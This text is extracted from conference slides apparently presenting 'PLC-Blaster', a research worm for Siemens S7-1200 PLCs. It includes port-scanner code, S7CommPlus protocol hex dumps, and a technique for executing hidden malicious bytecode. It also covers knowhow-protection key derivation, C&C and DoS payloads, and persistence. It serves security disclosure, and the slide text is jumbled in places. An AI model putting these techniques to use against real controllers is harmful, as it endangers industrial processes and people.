PLC-BlasterA Worm living in Your PLC

Maik Brüggemann
Hendrik Schwartke
Ralf Spenneberg

OpenSource Security●Linux Security●

Pentesting Embedded Systems●

Pentesting RFID Systems●

Pentesting Industrial Control Systems

S7-1211●

Built for small applications●

50kb RAM●

1MB persistent memory●

Built-in Ethernet●

V3.0 & TIAv11

How PLCs Work

Program Organization Blocks●

OB (OrganizationBlock):

Entry point●

FB (FunctionBlock):

Class with one method●

SFB (SystemFunctionBlock) Library●

FC (Function):

Function●

SFC(SystemFunction)

Library●

DB (DataBlock):

Global memory

Programming Languages
Ladder Diagram

Function Block Diagram

Instruction List

Sequential Function Chart

Structured TextWorm●

Target discovery?

●Carrier●Activation●Payloads

Sequential Function Chart

Target Discovery●TCP port 102 is open on all S7-PLCs●Implement a portscanner– TCON: Open a new TCP connection– TDISCON: Close a TCP connection

Target Discovery
IF "data".con_state = 10 THEN
"TCON_DB"(REQ:="data".action,
ID:=1,
DONE=>"data".con_done,
BUSY=>"data".con_busy,
ERROR=>"data".con_error,
STATUS=>"data".con_status,CONNECT:="data".con_param);
IF "data".con_done = True THEN
"data".con_state := 20;"data".con_timeout_counter := 0;
ELSE"data".con_timeout_counter := "data".con_timeout_counter + 1;
IF "data".con_timeout_counter > 200 THEN
"data".con_state := 0;
END_IF;
END_IF;
GOTO CYCLE_END;
END_IF;

Target Discovery
IF "data".con_state = 0 THEN
"TDISCON_DB"(REQ:="data".action,ID:=1,
DONE=>"data".con_done,
BUSY=>"data".con_busy,
ERROR=>"data".con_error,
STATUS=>"data".con_status);
IF "data".con_error = True OR"data".con_done = True
THEN
"data".con_param.REM_STADDR[4] := ("data".con_param.REM_STADDR[4] + 1) MOD 255;
"data".con_timeout_counter := 0;"data".con_state := 10;
END_IF;
GOTO CYCLE_END;
END_IF;Worm●Target discovery– Portscanner (TCP 102); TCON, DISCON●Carrier?

●Activation●Payloads

Carrier●Program transfer via TCP to the PLC●Implement the transfer protocol– TSEND, TRCV

Protocol Analysis●S7CommPlus– Binary– Proprietary– Huge differences compared to S7-300/400– Modified in S7-1200v4 and S7-1500– Transfer of programs– Start/Stop CPU– Read/Write process variables– Now supported by Wireshark Plugin●

https://sourceforge.net/projects/s7commwireshark/

S7CommPlus
ISO8073 Class 0
TPKTTCPIP

Protocol Analysis
Message 1: Connection setup
TPKT
00000023
00000033
Seq no.
00000043
00000053
00000063
00000073
00000083
00000093
000000A3000000B3000000C3000000D3000000E3000000F3Magic
Len Reserved
Type
Sub-TypeISO8073
Version03 00 00 df 02 f0 80 7200 00 00 02 00 00 01 2000 00 00 00 a1 00 00 00
00 15 16 53 65 72 76 65
5f 33 33 32 33 34 41 37
3a 3a 3a 36 2e 30 3a 3a3e 20 49 6e 74 65 6c 2830 30 30 20 4d 54 20 4400 a3 82 29 00 15 00 a3
4b 2d 50 43 5f 32 32 33
04 01 a3 82 2c 00 12 00
00 a1 00 00 00 d3 81 7f
53 75 62 73 63 72 69 70
61 69 6e 65 72 a2 a2 00

01 00 d0 31 00 00 04 ca .......r ...1....
36 00 00 01 1d 00 04 00 ....... 6.......
d3 82 1f 00 00 a3 81 69 ........ .......i72 53 65 73 73 69 6f 6e ...Serve rSession
41 a3 82 21 00 15 2c 31 _33234A7 A..!..,1
54 43 50 2f 49 50 20 2d :::6.0:: TCP/IP ­52 29 20 50 52 4f 2f 31 > Intel( R) PRO/1
2e 2e 2e a3 82 28 00 15 000 MT D .....(..
82 2a 00 15 0f 4d 41 49 ...).... .*...MAI
30 39 30 36 a3 82 2b 00 K­PC_223 0906..+.
2d c6 c0 a3 82 2d 00 15 ....,... ­....­..
00 00 a3 81 69 00 15 15 ........ ....i...
74 69 6f 6e 43 6f 6e 74 Subscrip tionCont
00 00 00 72 01 00 00
ainer... ...r...

Frame-End-DelimiterProtocol Analysis
Message 1: Connection setup
TPKT
00000023
00000033
Seq no.
00000043
00000053
00000063
00000073
00000083
00000093
000000A3000000B3000000C3000000D3000000E3000000F3Magic
Len Reserved
Type
Sub-TypeISO8073
Version03 00 00 df 02 f0 80 72
00 00 00 02 00 00 01 2000 00 00 00 a1 00 00 00
00 15 16 53 65 72 76 65
5f 33 33 32 33 34 41 37
3a 3a 3a 36 2e 30 3a 3a3e 20 49 6e 74 65 6c 2830 30 30 20 4d 54 20 44
00 a3 82 29 00 15 00 a34b 2d 50 43 5f 32 32 3304 01 a3 82 2c 00 12 00
00 a1 00 00 00 d3 81 7f
53 75 62 73 63 72 69 7061 69 6e 65 72 a2 a2 00

01 00 d0 31 00 00 04 ca .......r ...1....
36 00 00 01 1d 00 04 00 ....... 6.......
d3 82 1f 00 00 a3 81 69 ........ .......i
72 53 65 73 73 69 6f 6e ...Serve rSession
41 a3 82 21 00 15 2c 31 _33234A7 A..!..,154 43 50 2f 49 50 20 2d :::6.0:: TCP/IP ­52 29 20 50 52 4f 2f 31 > Intel( R) PRO/1
2e 2e 2e a3 82 28 00 15 000 MT D .....(..
82 2a 00 15 0f 4d 41 49 ...).... .*...MAI30 39 30 36 a3 82 2b 00 K­PC_223 0906..+.
2d c6 c0 a3 82 2d 00 15 ....,... ­....­..
00 00 a3 81 69 00 15 15 ........ ....i...
74 69 6f 6e 43 6f 6e 74 Subscrip tionCont
00 00 00 72 01 00 00
ainer... ...r...

Frame-End-Delimiter

Attribute Blocks
Attribute-Block start
00000053
00000063

00 15 16 53 65 72 76 65
5f 33 33 32 33 34 41 37

a3 81 69 ........ .......i
72 53 65 73 73 69 6f 6e ...Serve rSession
41_33234A7 A

Attribute Blocks
DatatypeFormat?
Len
00000053
00000063

Attribut-Block start

00 15 16 53 65 72 76 65
5f 33 33 32 33 34 41 37

ValueID

a3 81 69 ........ .......i
72 53 65 73 73 69 6f 6e ...Serve rSession
41_33234A7 A

Numbercoding

00000053
00000063

00 15 16 53 65 72 76 65
5f 33 33 32 33 34 41 37

a3 81 69 ........ .......i
72 53 65 73 73 69 6f 6e ...Serve rSession
41_33234A7 A

Byte is following

81 69(16) = 10000001 01101001(2) → 233(10)16(16) = 00010110(2) → 22(10)Anti-Replay
Message 2: Connection setup
00000023
00000033
00000043
00000053
00000063
00000073
00000083
00000093
000000A3

03 00 00 89 02 f0 80 72
00 00 00 02 36 11 02 87
82 1f 00 00 a3 81 69 0000 01 3a 82 3b 00 04 82
3d 00 04 84 80 c0 40 82
3f 00 15 1b 31 3b 36 4542 45 33 31 2d 30 58 4240 00 15 05 32 3b 35 34
a2 00 00 00 00 72 01 00

22(16)+80(16) = A2(16)01 00 7a 32 00 00 04 ca .......r ..z2....
22 87 3d a1 00 00 01 20 ....6... ".=....
15 00 a3 82 32 00 17 00 ......i. ....2...
00 82 3c 00 04 81 40 82 ..:.;... ..<...@.
3e 00 04 84 80 c0 40 82 =.....@. >.....@.
53 37 20 32 31 32 2d 31 ?...1;6E S7 212­130 20 3b 56 33 2e 30 82 BE31­0XB 0 ;V3.0.
34 82 41 00 03 00 03 00 @...2;54 4.A.....
00

Anti-Replay
Message 3: Connection setup
0000010B
0000011B
0000012B
0000013B
0000014B
0000015B
0000016B
0000017B
0000018B

03 00 00 8c 02 f0 80 72
00 00 00 03 00 00 03 a2
32 01 00 17 00 00 01 3a00 04 81 40 82 3d 00 0440 82 3f 00 15 00 82 40
37 20 32 31 32 2d 31 42
3b 56 33 2e 30 82 41 00
e8 89 69 00 12 00 00 0000 04 00 00 00 00 00 00

22(16)+80(16) = A2(16)02 00 7d 31 00 00 05 42 .......r ..}1...B
34 00 00 03 a2 01 01 82 ........ 4.......
82 3b 00 04 82 00 82 3c 2......: .;.....<
00 82 3e 00 04 84 80 c0 ...@.=.. ..>.....
00 15 1a 31 3b 36 45 53 @.?....@ ...1;6ES
45 33 31 2d 30 58 42 30 7 212­1B E31­0XB0
03 00 00 00 00 00 00 04 ;V3.0.A. ........
00 89 6a 00 13 00 89 6b ..i..... ..j....k72 02 00 00

Programtransfer
Message: Download block
00000901
00000911
00000921
00000931
00000941
00000951
00000961
00000971
00000981

03 00 04 00 02 f0 00 72 02 05 a9 31 00 00 04 ca .......r ...1....
00 00 00 1d 00 00 03 a2 34 00 00 00 03 00 04 00 ........ 4.......
00 00 00 00 a1 8a 32 00 01 94 57 20 00 a3 81 69 ......2. ..W ...i00 15 04 4d 61 69 6e a3 93 15 00 05 8a 83 f9 bd ...Main. ........
Blocktype
Blocknumber
e6 ef e4 9b a4 a3 93 16 00 04 8f 5b a3 93 11 00 ........ ...[....
14 00 62 90 00 00 03 78 f9 81 d8 db 20 c3 0c 30 ..b....x .... ..023 50 80 a1 79 09 58 3e 18 5a 9a 58 9a 9a 58 98 #P..y.X> .Z.X..X.
59 18 02 cb 53 54 2f 91 94 00 70 fb 06 9f 5f 6c Y...ST/. ..p..._lfc 9d e2 9d f3 f3 8a 4b 12 f3 4a 14 fc c0 c9 1e .......K ..J.....
.
.
.
.

Programtransfer●

Transfer Attributes:– Some are used by the PLC– Some are used by TIA in case of program retrieval
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●

LastModified
LoadMemorySize
IdentESWorkingMemorySize
Comment
InterfaceModified
InterfaceDescription
LineComments
BlockNumber
BlockLanguage
KnowhowProtected
Unlinked
Fprotection
RuntimeModified(0x9315)(0x9316)(0x9311)(0x9313)(0xa140)(0x936f)(0x9370)(0x9372)(0x9359)(0x935b)(0x935c)(0x935f)(0x9360)(0x9361)

●
●
●
●
●
●
●
●
●
●
●
●
●
●

BodyDescription
Binding
OptimizeInfo
TOblockSetNumber
TypeInfo
CodeParameterModified
NetworkComments
NetworkTitles
CalleeList
InterfaceSignature
DebugInfo
LocalErrorHandling
LongConstants
intRefData(0x9365)(0x984f)(0x9369)(0x9c23)(0xa362)(0x9414)(0x9415)(0x9418)(0x9419)(0x941a)(0x941b)(0x941d)(0x941e)(0x941f)(0x9417)

Fun with Attribute Blocks●

Data redundancy creates attack surface
00000901
00000911
00000921

03 00 04 00 02 f0 00 72
00 00 00 1d 00 00 03 a200 00 00 00 a1 8a 32 00

02 05 a9 31 00 00 04 ca .......r ...1....
34 00 00 00 03 00 04 00 ........ 4.......
01 94 57 20 00 a3 81 69 ......2. ..W ...i.
.
.
.

00000C71
00000C81

53 77 65 65 70 20 28 4393 59 00 03 00 01 a3 93

79 63 6c 65 29 22 00 a3 Sweep (C ycle)"..
5a 00 01 00 a3 93 5b 00 .Y...... Z.....[.

Blocknumber

Which one is evaluatedby Siemens?

Fun with Attribute Blocks●

Data redundancy creates attack surface
00000901
00000911
00000921

03 00 04 00 02 f0 00 7200 00 00 1d 00 00 03 a200 00 00 00 a1 8a 32 00

02 05 a9 31 00 00 04 ca .......r ...1....
34 00 00 00 03 00 04 00 ........ 4.......
01 94 57 20 00 a3 81 69 ......2. ..W ...i.
.
.
.

00000C71
00000C81

53 77 65 65 70 20 28 4393 59 00 03 00 01 a3 93

79 63 6c 65 29 22 00 a3 Sweep (C ycle)"..
5a 00 01 00 a3 93 5b 00 .Y...... Z.....[.

Which one is evaluatedby Siemens? Both!

Fun with Attribute Blocks●

Allows you to download hidden blocks●Choose an existing blocknumber●TIA Portal recognizes only the original block●

Not working with data blocks

Fun with Attribute Blocks●The code is transferred in two variants
Source code in XML
displayed by TIA

Byte code executed by
the PLC<BC><Fold UId="23"><NL UId="24"/><BCL TE=" * This is a comment."/><NL UId="21"/><BCL TE=" "/><BCE/></Fold></BC><NL UId="42"/><NL UId="38"/><Statement TE="IF" UId="59" SI="IF">.
.
.
.

02 4c 00 00 e0 02 4c 04
00 e0 02 4c 08 00 e0 02
4c 0c 00 e0 02 4c 10 00
e0 02 4c 14 00 f8 18 58
02 f8 18 58 06 18 40 01
f8 70 00 04 01 02 1a 40
05 6f 00 2c 7c 00 01 6c01 68 00 68 01 14 40 01

Fun with Attribute Blocks●●

Allows you to make your program source code
look unsuspicious
But actually malicious binary code is executed

Fun with Attribute Blocks●

Some attribute blocks can be left out●

You don't need to ship your worm's source code●

Reduce the amount of dataWorm Implementation●Implementing the worm using TIA:– Connection setup– Anti-replay-protection– Create empty data blocks for messages●

Transfer the worm to the PLC with TIA and capturepcaps●

Retrieve the messages from the pcaps●

Store the messages in the empty DBs●

Inject the worm with your own tool

Worm
●

Target discovery– Portscanner (TCP 102); TCON, DISCON●

Carrier– Implement the S7-Protocol; TSEND, TRCV●

Activation ?

●Payloads

Activation●OB (OrganizationBlock): int main()●

Additional OBs are supported●

OBs are executed sequentially●Original user program is untouched

Worm
●

Target discovery– Portscanner (TCP 102); TCON, DISCON●

Carrier– Implement the S7-Protocol; TSEND, TRCV●

Activation– Builtin●Payloads ?

Possible Payload●DoS●

Arbitrary manipulation of outputs●TCP-Functions– C&C-Server– Proxy

●

...

Worm
●

Target discovery– Portscanner (TCP 102); TCON, DISCON●

Carrier– Implement the S7-Protocol; TSEND, TRCV●

Activation– Builtin●Payloads– Proxy, C&C Server, DoSDemoInjection
AttackerC&C ServerDemo1. Spread
AttackerC&C Server

2. SpreadDemoAttacker

C&C Server

Connect back to the C&C ServerImpact on the PLC●

Program execution is stopped– Approximately 10s●Generates a log entry in the PLC●

Optional Improvement: patch existing OB1– PLC is not stopped but worm is more complex

Memory Footprint●Memory usage– 38,5kb RAM– 216,6kb persistent memory
ModelRAM

Persistent Memory

S7-121150kb (77%)

1Mb (21%)

S7-121275kb (51%)

1MB (5 %)S7-1214100kb (38%)

4MB (5 %)S7-1215125kb (30%)

4MB (5 %)S7-1217150kb (25%)

4MB (5 %)Cycle Time
●Maximum default cycle time: 150ms●

Worm: max 7ms (4,7%)

Persistence & Identification●Worm survives cold restart●

Removal of the worm:– Factory-resetting the PLC– Deletion of the●worm OB

The TIA-Portal may recognize the worm

TIA
12108

Spalte 1
Spalte 2
Spalte 3

64

20
Zeile 1

Zeile 2

Zeile 3

Zeile 4

But TIA May CrashProtection●

S7-1200 provides 3 protection mechanisms:– Knowhow Protection– Copy Protection– Access ProtectionKnowhow Protection●Prevents unauthorized reading or modificationof the code●Password protection●

Source-Code is AES encrypted Enable-Flag
Knowhow Attribute Block
0000 A3 93 5C 00 17 00 00 0D 77 9A 78 00 0B 00 01 9A .......w.x......
0010 79 10 02 14 E8 F9 7F BA 91 04 D1 EA 50 47 94 8E y...........PG..
0020 6D FB 67 FA CD 9F 5B 73 00
m.g...[s.

SHA-1 hash of password

Knowhow Protection●

How to disable the Knowhow Protection?
– Set enable flag to: 0x00, 0x00●

Source Code is still AES encrypted●

How is the AES-Key generated?

Knowhow Protection●

Key derived from the hash:
K = truncate128Bit(SHA­1 HASH) XOR M
M = 0x28,0x6f,0x76,0x5c,0x6e,0x3b,0x1e,0x4c,0xd0,0x8e,0x42,0x31,0x43,0x7b,0x8e,0xbf●

Fixed by SSA-833048

Copy Protection●

Binds program to a specific PLC– But Attribute Block is not evaluated by the PLC– Only evaluated by the TIA Portal●

Modification of serial number undetected
Serial number
Copy Attribute Block
00000000
a3 98 4f 00 ...r1... .3/...O.
00000010 17 00 00 0d a0 9b 21 00 08 01 9b 22 00 15 10 53 ......!. ..."...S00000020 5a 56 43 30 59 45 42 30 30 36 31 39 35 20 20 9b ZVC0YEB0 06195 .
00000030 23 00 08 00 00

Access Protection●Limits protocol features– Password●Works– But disabledby defaultFunction

OffWrite
ProtectionWrite/ReadProtection

Start/Stop CPUynn

Transfer Program to PLC

ynn

Retrieve Program from PLC

yyn

Edit Output/Input/Memoryyyy

Read Identification

yyy

Assign IP-Adressyyy

Set time of dayynn

ResetynnOther Vendors●PLC features required by the worm:– Industrial Ethernet– Program transfer via TCP to the PLC– Programmable TCP functions

Leading Vendors
VendorProductEthernet Transfer TCP/UDP

TCP/IP Functions

Siemens

S7-300yyySiemens

S7-400yyySiemens

S7-1200

yyySiemens

S7-1500

yyy

Mitsubishi Electric

MELSEC iQ-R

yyy

Mitsubishi Electric

MELSEC iQ-Fyyy

Mitsubishi Electric

MELSEC-Q

yyy

Mitsubishi Electric

MELSEC-Lyyy

Mitsubishi Electric

MELSEC-Fyyn

Mitsubishi Electric

MELSEC-QS/WSyyn

Schneider Electric

Modicon Easy Mnnn

Schneider Electric

Modicon Myyn

Schneider Electric

Modicon LMyyn

Schneider ElectricModicon Premiumyyn

Schneider Electric

Modicon Quantumyyn

Schneider ElectricPreventa XPS Quantumyyn

Rockwell Automation ControlLogix

yyy

Rockwell Automation CompactLogix

yyy

Rockwell Automation MicroLogix

yyy

Rockwell Automation SmartGuard 600yyn

Rockwell Automation SLC 500yyy

Rockwell Automation PLC-5yyy

Rockwell Automation GuardPLCyyn

Rockwell Automation Micro800

yyn

All leading vendors

Leading Vendors
VendorProduct

Ethernet Transfer TCP/UDP

TCP/IP Functions

Siemens

S7-300yyy

Siemens

S7-400yyy

Siemens

S7-1200yyy

Siemens

S7-1500yyy

Mitsubishi Electric

MELSEC iQ-Ryyy

Mitsubishi Electric

MELSEC iQ-Fyyy

Mitsubishi Electric

MELSEC-Qyyy

Mitsubishi Electric

MELSEC-Lyyy

Mitsubishi Electric

MELSEC-Fyyn

Mitsubishi Electric

MELSEC-QS/WSyyn

Schneider Electric

Modicon Easy Mnnn

Schneider Electric

Modicon M

yyn

Schneider Electric

Modicon LMyyn

Schneider Electric

Modicon PremiumyynSchneider Electric

Modicon Quantum

yyn

Schneider ElectricPreventa XPS Quantum

yyn

Rockwell Automation ControlLogix

yyy

Rockwell Automation CompactLogix

yyy

Rockwell Automation MicroLogixyyy

Rockwell Automation SmartGuard 600yyn

Rockwell Automation SLC 500yyy

Rockwell Automation PLC-5yyy

Rockwell Automation GuardPLCyyn

Rockwell Automation Micro800

yyn

Supporting
Industrial Ethernet andTCP/UDP transfer

Leading Vendors
VendorProductEthernet Transfer TCP/UDP

TCP/IP Functions

Siemens

S7-300yyy

Siemens

S7-400yyy

Siemens

S7-1200

yyy

Siemens

S7-1500

yyy

Mitsubishi Electric

MELSEC iQ-Ryyy

Mitsubishi Electric

MELSEC iQ-Fyyy

Mitsubishi Electric

MELSEC-Qyyy

Mitsubishi Electric

MELSEC-LyyyMitsubishi Electric

MELSEC-Fyyn

Mitsubishi Electric

MELSEC-QS/WSyyn

Schneider Electric

Modicon Easy Mnnn

Schneider Electric

Modicon Myyn

Schneider Electric

Modicon LMyyn

Schneider Electric

Modicon Premiumyyn

Schneider Electric

Modicon Quantum

yyn

Schneider ElectricPreventa XPS Quantum

yyn

Rockwell Automation ControlLogix

yyy

Rockwell Automation CompactLogix

yyy

Rockwell Automation MicroLogix

yyy

Rockwell Automation SmartGuard 600

yyn

Rockwell Automation SLC 500yyy

Rockwell Automation PLC-5yyy

Rockwell Automation GuardPLCyyn

Rockwell Automation Micro800yyn

Supporting
Industrial Ethernet,
TCP/UDP transfer andTCP/IP functionsContact

Q&A
https://os-s.net
info@os-s.deBooks